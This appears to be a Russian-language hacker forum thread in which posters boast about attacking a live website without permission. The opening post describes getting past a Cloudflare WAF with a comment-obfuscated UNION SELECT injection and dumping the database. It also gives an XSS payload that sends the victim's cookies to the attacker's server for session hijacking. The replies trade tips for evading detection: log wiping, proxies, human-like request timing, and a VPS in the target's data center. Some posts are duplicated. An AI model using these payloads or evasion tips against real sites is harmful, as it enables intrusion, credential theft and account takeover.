Привет, аноны! 😎 Тут на днях ковырял один сайт — стоит Cloudflare, но WAF настроен криво: фильтрует только UNION SELECT, а вот через /**/UNION/**/SELECT спокойно проходит SQLi. Вытащил базу, но тут засада — админка на поддомене с 2FA, а логины есть.
Вспомнил про Session Hijacking через XSS в форме обратной связи (кто же так делает в 2025?). Подкинул жертве <script>fetch(‘my-server/?c=’+document.cookie)</script>, получил куки админа, зашел и улетел в бан за слишком частые запросы 😂 Мораль: чистите логи и не жадничайте, а то WAF вас по IP вычислит даже через Tor. Кто-то так же косячил?
Привет, аноны! 😎 Тут на днях ковырял один сайт — стоит Cloudflare, но WAF настроен криво: фильтрует только
UNION SELECT, а вот через/**/UNION/**/SELECTспокойно проходит SQLi. Вытащил базу, но тут засада — админка на поддомене с 2FA, а логины есть.Вспомнил про Session Hijacking через XSS в форме обратной связи (кто же так делает в 2024?). Подкинул жертве
<script>fetch(‘my-server/?c=’+document.cookie)</script>, получил куки админа, зашел и улетел в бан за слишком частые запросы 😂 Мораль: чистите логи и не жадничайте, а то WAF вас по IP вычислит даже через Tor. Кто-то так же косячил?
Ха, классика Cloudflare как декорация. 😂 У тебя хотя бы куки админа были валидные, а я как-то через XSS получил сессию... которая обнулялась при смене IP. Пришлось арендовать VPS в том же дата-центре, где крутился сайт WAF тупо не проверял 'свои' айпишники. P.S. На будущее: подвязывай прокси к Burp и делай паузы между запросами, имитируя поведение человека. 😉
P.S. На будущее: подвязывай прокси к Burp и делай паузы между запросами, имитируя поведение человека. 😉
Уже) У меня боты как люди натренированные не отличишь))
Попробуй еще Selenium + Puppeteer для 'человекообразных' запросов 😎
Попробуй еще Selenium + Puppeteer для 'человекообразных' запросов 😎
Ага Selenium 🤣 чтобы он сутками дрочился с дровами под каждый браузер и тормозами на больших тест-сьютах.. Я уже молчу про отсутсввие встроенных отчётов (придётся допиливать TestNG или Allure)